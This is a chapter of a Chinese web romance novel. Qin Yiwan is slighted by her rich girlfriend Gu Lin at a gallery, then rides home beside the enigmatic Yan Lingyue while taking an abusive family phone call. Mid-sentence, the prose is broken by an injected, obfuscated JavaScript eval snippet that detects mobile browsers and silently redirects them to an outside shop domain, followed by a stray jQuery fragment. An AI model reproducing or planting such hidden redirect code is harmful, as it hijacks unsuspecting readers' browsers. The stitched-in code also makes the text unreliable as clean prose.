秦弋晚返回画廊门口,是想去拿手机。
怕只凭借肉眼,没办法长久记住眼前的美好。
跟员工小姐沟通过,确认可以用手机拍照之后,秦弋晚独自下了楼。
为防名贵的画作出什么问题,员工小姐留在房间里守着。
秦弋晚第一次进入画廊时,是被带着绕了内部通道。
这一次下楼拿到了手机,要返回时被其他员工撞见,伸手提醒:
“这位小姐,这里是员工专用通道,请您从那边走,过去就是一层展厅了。需要上楼的话,可以乘坐那边的电梯。”
秦弋晚应声道谢,在指引下走进了展厅。
找到之前电梯,先看见了被几个人簇拥着的顾琳。
那一刻,她心里满是亲眼见到《夏夜》的欢喜。
快步朝顾琳走过去,组织着语言,想要跟顾琳分享。
以至于没能及时发现随着她的走近,顾琳慢慢绷紧的脸色,“我不是让你在车上等吗?你进来干嘛?”
难道因为先前打电话她没接,所以就直接闯进来找她?
还跟着顾琳的夏莹莹看了眼秦弋晚,“这是谁呀?你家新请的司机吗?”
视线从秦弋晚身上打量过去,从人高挑的身形看到雪净的脸。
夏莹莹回想了几秒,反应过来,“哎,她不是当初那个——”
“我还没逛完。”
打断了夏莹莹的话,顾琳朝着秦弋晚,
“你去车上等,有事发微信。”
秦弋晚在隔着顾琳几步远的地方停下。
唇边的笑意凝滞。
再迟钝也发觉了不对。
顾琳没有反驳朋友的话。
像是默认了她的身份是司机。
——“是司机呀。”
脑海里突然闪过顾琳在后座打电话时的话语。
秦弋晚看向被人围绕着的顾琳。
画廊里的暖气很足,顾琳下车时没穿风衣外套,一身细闪流苏长裙,从头到脚的精致。
围在顾琳身边的几个人也都穿着单薄却华丽的裙装或西装。
跟几步远处,穿着一身休闲装的她像处于两个不同的世界。
顾琳是有钱人家的大小姐,秦弋晚知道。
最开始顾琳追她的时候,送过来的花一次比一次贵。
为了跟她多说几句话,一口气包了冰淇淋车上剩余的冰淇淋。
谈恋爱之后,得知她有驾照,甚至直接给了她一把路虎的车钥匙。
而她的困窘。
顾琳也知道。
当初在她认真坦白自己的现状之后,顾琳只甜美笑着说:
“你穷一点又怎么了?我有钱就行啦,我又不嫌弃你。
“我是真的特别喜欢你,你就给我一次机会,接受我的告白,跟我谈恋爱试试嘛。”
……
秦弋晚抬起眼,记忆里顾琳带着甜美笑容的脸,跟眼前神情不耐的脸叠在了一起。
四周不断有宾客看过来,隐约捕捉到了什么八卦的气息,气氛逐渐变得奇怪。
攥着手机的指骨收紧到有了点痛意,秦弋晚看着顾琳,把喉间的话通通咽了下去。
在这种情况下追问,只会让场面更糟糕更难看。
“嗯。”
秦弋晚挺直脊背,后退了一步,声音平稳地,“我在车上等你。”
她转身快步走出了画廊,把探究的目光都抛在身后。
夏莹莹回头看向顾琳,“琳琳,我差点以为我看错了,她不就是当时那个……不是吧,难道她后来就趁机缠上你了?”
顾琳含糊应了一声,“……嗯。”
身边有人嗤了一声,“当初还以为多清高呢,原来也是这种人啊。”
“怎么没甩了她,还让她这么跟着?”
“你们懂什么?要我说,像这种闻着钱主动凑上来的,正好留着当个消遣。况且模样还挺好,不玩白不玩,是吧顾小姐?”
“哈哈哈也是……”
一群人谈东谈西地哄笑起来,顾琳没解释,扯着嘴角跟着笑了笑。
这点小插曲很快被人遗忘,无戏可看的宾客们继续逛展。
顾琳在人群中来回搜寻着,逐渐有些焦躁,忍不住拿出手机想再发条消息问问时,被一道声音打断了动作。
“顾小姐。”唐茗停在顾琳面前,“晏总安排我来送您。”
顾琳眼睛一亮,“晏姐姐来了?”
随即发现只有唐茗一个人,“怎么……晏姐姐不逛逛画展吗?”
唐茗弯唇,露出职业性的标准笑容,“晏总有更重要的事。”
这样答并不算撒谎。
唐茗问:“您的车停在哪里?请把钥匙给我吧。”
“琳琳!”
夏莹莹拉了拉顾琳,压低惊讶的声音,
“晏总这是要坐你的车,跟你一块儿走?”
晏泠月一贯注重隐私。
寰宇集团自上一辈传到晏泠月手中,不仅没有衰落,反而不断扩张到如今风光无他的地步。
晏泠月三个字亦成为传奇的象征,各类真假消息争先恐后往上缠。
网络上新闻不少,却没有一张清晰正脸照流出。
每次外出也都有专人跟随专车接送。
现在却直接派秘书过来,居然主动要开顾琳的车一起离开。
亲密程度不言而喻。
“车钥匙在……”
顾琳受宠若惊地看着唐茗,笑着迅速说,“在我司机那儿,唐秘书稍等一下!”
·
拉开车门坐进去的时候,秦弋晚缓了缓有些急促的呼吸。
突然觉得自己像是在逃跑。
后颈出了一层细密的汗,被寒风吹过,冷得人想发颤。
秦弋晚伸手打开副驾驶的储物盒,翻找记忆中放在里面的纸巾。
停车位离路灯有些远,没开灯的车内过于昏暗。
秦弋晚一时没找到纸巾,多拨弄了几下。
动作一顿。
被一堆杂物压着的底端,好像有什么隐约闪着细碎光芒的东西从她指尖旁边滑了过去。
秦弋晚伸手,摸索过去。
找到了一枚小香囊。
是用掺着金丝的彩线手工缝制的,一只针脚尤为绵密复杂的,锦鲤形状的平安符吊坠。
一针一针,她学着缝了半个月,往手上扎了数不清的小口。
是谈恋爱不久,她送给顾琳的生日礼物。
后来从没见顾琳带过。
秦弋晚低着头,指尖抚上锦鲤不知道沾染了什么,满是脏污的蜷缩的尾端。
……
她不是没有觉悟。
也认真地反省过。
那样过分廉价的礼物,的确配不上浑身都是名牌的大小姐。
顾琳愿意笑着好好收下,就已经很好很好了。
所以这次恋爱一周年的纪念日,她提前订好了攒钱的计划,要送足够名贵的,能让女朋友戴得出门的礼物。
书店,散打馆,加上接设计单,
连轴转下来,攒到的数字已经越来越接近专柜里那条带钻的精致项链。
那才是能配得上大小姐的礼物。
……
可是。
指骨蜷紧,按住锦鲤尾部因为被挤压太久,卷翘到无法恢复平整的尾端。
就算道理都想清楚了。
还是觉得很难过。
“秦弋晚!”
车窗突然被拍响。
秦弋晚愣了一下,抬头看到车窗外的顾琳,下意识将锦鲤香囊塞进口袋。
秦弋晚起身下车,以为顾琳是逛完了画展。
在要帮顾琳拉开车门时被拦了一下,“你把车钥匙给我。”
秦弋晚停下动作,“怎么了?”
“我有人送了,你一会儿自己打个车回去吧。”
顾琳说着,越过秦弋晚伸手自己去车内拿钥匙。
在快要拿到时,手指顿在空中。
秦弋晚握住了顾琳的手腕。
“……”
——是不是真的不知道画展可以带人一起进。
——为什么不跟朋友们说我是你女朋友。
——锦鲤香囊怎么扔在了储物柜里。
——现在是要跟谁去做什么。
……
——我让你觉得丢脸了吗?
……
——你还喜欢我吗?
一个个问题堵在喉间,呛得胸腔隐隐发涩。
都太强势,也太沉重。
有些问题一旦问出口,就意味着已经不再信任对方。
哪怕只是提问,也会带着伤害。
秦弋晚不想顾琳不开心。
于是低着头,最后只选了一个最轻的,问:“你之前说的法餐……还吃吗?”
顾琳愣了一下,意外地看着被秦弋晚握住的手腕。
在她面前一向古板无趣到有些唯唯诺诺,也基本没碰过她的人。
这会儿长指轻易圈着她的腕骨,好像没认真用力,却简简单单就制住了她的动作。
一股被下位者冒犯的烦躁涌了上来,顾琳用力抽出手,
“我有事,不吃了。你想吃的话自己去,随后账单发我,我可以给你报销。”
顾琳拿出钥匙,转身递给走过来的唐茗。
唐茗接过车钥匙,看向秦弋晚,微微颔首。
然后俯身坐进了驾驶座,“顾小姐,请上车。”
没再看路边的秦弋晚,顾琳利落坐进了后座。
在唐茗发动车时,才有些疑惑:“我们……不等等晏姐姐吗?”
“晏总有更重要的事要处理。”
唐茗重复了一遍先前的说辞,“所以让我送您回家。”
是因为约好在画廊见面没能见成,所以专门让秘书来护送她回家?
顾琳心头发热,甜甜笑了笑,“那谢谢唐秘书啦。”
“不用谢。”
看了眼后视镜里依旧站在路边的女生,唐茗踩下油门,车辆如离弦之箭般飞速离开了画廊。
·
秦弋晚站在原地,看着迅速融进夜色的车辆。
停了片刻的雪又开始混着雨滴往下砸。
秦弋晚眨了下眼,一粒雪沿着长睫滚落,融化在发红的鼻尖。
一辆翡翠绿库里南缓缓驶来,稳停在她身侧。
后座的车门打开,秦弋晚顿了顿,以为是她挡了路,往旁走了一步。
却没人从车里下来。
“秦小姐!”员工小姐从画廊里小跑出来,“雪要下大了,请您快上车吧。”
明白对方大概是误会了,秦弋晚解释:“这不是我的车。”
“我知道,秦小姐,天气特殊,这是我们画廊为贵宾准备的接送服务。”
一边说着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17756773|209527||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,员工小姐扶着秦弋晚,问着她住址的功夫,半推着将她送到车旁,又将她的住址报给司机。
眼看穿着制服的员工小姐冻得有些发抖,秦弋晚没再推脱地上了车。
瞬间被车内暖和的温度包围。
然后才发现后座已经有了一位乘客。
女人一袭黑绒长裙,姿态优雅地倚在座椅上,微卷的长发散至腰际,遮了大半面目。
带着丝绸手套的手搭在两个座椅中间的扶手处。
懒散地轻轻敲击着。
短暂一瞥。
车里光线昏暗,秦弋晚有些看不清,也礼貌地没再多看。
只端正坐在自己的位置上。
车门关上,寒风彻底被隔绝在外。
秦弋晚闻到了一股有些熟悉的,混着佛手柑与雪松气息的冷香。
顿了一下,转头去看身侧的人之前,先发现了放在中控台角落的熏香。
……
是熏香的味道吗?
来不及辨认,手机突然响了起来。
系统自带的铃声在安静的车内显得有些刺耳,秦弋晚迅速接通,将手机抵到耳边:“喂——”
“你是翅膀硬了,没良心的东西!”
更加刺耳的怒骂毫无预兆地闯入了耳中,
“你舅妈的消息你都不回了,不过是跟你要三千块,你就敢关机不认人?你是不是忘了你舅舅是被谁害死的?要不是你那没出息的爹,你舅妈她们母女怎么会惨到这种地步?!”
车内实在太静。
根本来不及降低音量,老人愤怒的声音就散在了车内。
前头的司机从后视镜看了一眼。
扶手处女人敲击的手指也停了下来。
秦弋晚握着手机的手倏然收紧,耳朵震得发麻,整个人都热起来。
已经听过太多次,早该习以为常的话语。
在此时显得尤为尖锐刺耳。
她突然很后悔上了这辆车。
在这样当众凌迟一样的时刻,想自己躲起来都办不到。
无措。难堪。
原本温暖舒适的空气一寸寸凝滞。
开始有些呼吸不畅的时候,车内蓦地放起了音乐。
紧接着,音量越放越大。
秦弋晚恍然抬眼,看见了身旁女人在屏幕上操作的指尖。
巨大的乐声充斥在车内,将手机里剩余的骂声模糊了大半。
也将凝滞的空气冲散。
秦弋晚回过神,缓了口气,开口解释:
“……我没有故意关机,是因为在外面,手机突然没电了,所以没来得及回复舅妈。”
声音是平稳镇静的,丝毫没有想象中失控的情绪。
晏泠月侧目,看向女生被手机遮住大半的脸。
“是不是故意,你自己心清!”
电话那头的老人咳喘几声,下了最后通牒,“明天之前,把三千块打到你舅妈卡上!”
“这个月的生活费,月初我已经给舅妈打过去了。”
秦弋晚平静解释,“多出的三千我会转给舅妈,但下个月转生活费的时候,我会扣去这三千。”
“你,你什么意思?你现在是跟你亲舅妈算这个账?你个不念情分的白眼狼——”
“姥爷。”
打断耳边的怒斥,秦弋晚低声却清晰地,“你知道,每月愿意给这笔钱,就是因为我还在念情分。
“但是如果舅妈觉得,可以靠着情分不知节制地向我任意索取,那我不确定这点情分还能撑多久。”
女生冷静的声音传至耳际,晏泠月微挑下眉,随之弯唇。
还好。不是只会安静受委屈。
白眼狼?
倒的确像一只,会冲人呲几下牙的小狼。
将电话挂断。
秦弋晚低头划动着手机,没等到明天,直接按指纹转了账。
刚结束操作,屏幕一闪,顶端弹出一条顾琳发来的消息。
——“明天早上我要吃柳记的蟹黄汤包。”
好像什么也没发生一样的语气。
不是“我想”,而是“我要”。
命令一样,带着养尊处优的霸道。
但这就是顾琳示弱哄人的方式。
秦弋晚打字输入:“好。七点见?”
——“嗯。”
秦弋晚眨了眨眼,看着屏幕上弹出的回复。
既然顾琳还想见她。
那就是还喜欢她吧。
昏暗车内。
晏泠月微侧着头,看着身旁似乎已经恢复了元气的人。
女生低头专心看着手机,冷白如雪的脸被屏幕的光亮映着,眼睛亮晶晶。
嘴角微微抿着,晕出浅浅的梨涡。
像张白纸,心事不知遮掩。
一如自己舔舐好了伤口,又尝到了什么甜蜜滋味的餍足小兽。
如果身后能有条绒绒的狼尾。
应该正在来回摇摆。
晏泠月安静看着,唇边漾起浅淡弧度。
柔软目光从秦弋晚线条流利的脸,落到骨节明晰,漂亮修长的手
最后,看到手机屏幕上很容易辨认的聊天内容。
收回视线。
“怎敢怪红尘——”
安静下来的车内,几乎震耳的音乐还在继续播放。
“我无名分~我不多嗔~”
晏泠月抬手按下了切歌。